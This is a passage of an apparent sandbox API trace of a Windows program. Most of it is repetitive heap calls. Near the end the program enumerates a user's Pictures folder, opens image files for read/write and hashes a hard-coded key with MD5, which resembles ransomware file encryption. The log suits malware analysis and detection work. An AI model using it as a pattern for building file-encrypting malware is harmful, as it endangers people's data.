hHeap=0x5c0000) returned 1 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.872] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.872] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.873] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.873] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.874] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.874] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.875] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.875] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.876] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.876] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.877] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.877] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\") returned="KpZlD4zquX\\" [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.877] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\") returned="nEqZA\\" [0126.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.878] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.878] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.878] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.878] PathFindFileNameW (pszPath="") returned="" [0126.878] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.878] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79d18d40, ftCreationTime.dwHighDateTime=0x1d4cc85, ftLastAccessTime.dwLowDateTime=0x260124d0, ftLastAccessTime.dwHighDateTime=0x1d4c5a2, ftLastWriteTime.dwLowDateTime=0x260124d0, ftLastWriteTime.dwHighDateTime=0x1d4c5a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.881] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x79d18d40, ftCreationTime.dwHighDateTime=0x1d4cc85, ftLastAccessTime.dwLowDateTime=0x260124d0, ftLastAccessTime.dwHighDateTime=0x1d4c5a2, ftLastWriteTime.dwLowDateTime=0x260124d0, ftLastWriteTime.dwHighDateTime=0x1d4c5a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.881] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22f8c30, ftCreationTime.dwHighDateTime=0x1d4c679, ftLastAccessTime.dwLowDateTime=0xc03e6400, ftLastAccessTime.dwHighDateTime=0x1d4c8e4, ftLastWriteTime.dwLowDateTime=0xc03e6400, ftLastWriteTime.dwHighDateTime=0x1d4c8e4, nFileSizeHigh=0x0, nFileSizeLow=0x2c4b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fQS43pyYf93X_Ex4mvdQ.jpg", cAlternateFileName="FQS43P~1.JPG")) returned 1 [0126.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.881] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\fQS43pyYf93X_Ex4mvdQ.jpg") returned=".jpg" [0126.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\nEqZA\\KpZlD4zquX\\fQS43pyYf93X_Ex4mvdQ.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\neqza\\kpzld4zqux\\fqs43pyyf93x_ex4mvdq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.882] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=11339) returned 1 [0126.882] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.884] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x2c25, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.884] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.885] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.885] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x2c4b, lpOverlapped=0x0) returned 1 [0126.886] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.886] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.886] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.886] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.886] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.887] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.887] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.887] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.887] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.887] CryptGetHashParam (in: 